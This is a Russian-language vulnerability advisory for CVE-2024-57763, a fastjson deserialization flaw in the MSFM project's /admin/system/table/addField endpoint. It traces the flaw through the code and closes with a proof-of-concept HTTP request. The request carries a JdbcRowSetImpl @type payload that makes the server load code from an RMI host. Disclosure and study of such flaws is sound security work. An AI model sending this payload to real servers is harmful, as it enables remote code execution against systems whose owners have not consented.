CVE-2024-57763
Обнаружено лабораторией безопасности Chaitin Security Research Lab
Продукт с уязвимостью: wangl1989/MSFM
Версия продукта с уязвимостью: до 2025.01.01
Тип уязвимости: десериализация fastjson
Детали уязвимости:
- Глобальный поиск метода JSONObject.toJSONString показал, что в файле TableServiceImpl.java:146 путь JSONObject.toJSONString получает параметр tableField и преобразует его в строку JSON-формата. Дальнейший анализ выявил, что эта операция выполняется в методе addColumn(). Продолжаем отслеживание вызова этого метода.
- Отслеживание метода addColumn() до уровня контроллеров показало, что метод addColumn() был вызван в файле TableController.java:293 и получил параметр tableField. Анализ сверху показал, что параметр TableController.java:254 получен из запроса, отправленного пользователем по пути /addField, а весь процесс не фильтровал и не экранировал параметр tableField. Поэтому параметр tableField управляемый, и здесь есть уязвимость десериализации fastjson.

- Создание POC, вход в систему для захвата пакетов и замены cookies
http://127.0.0.1:8083
Логин: test/1
POST /admin/system/table/addField HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Cookie: XXXXXX
```{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/a","autoCommit":true}}
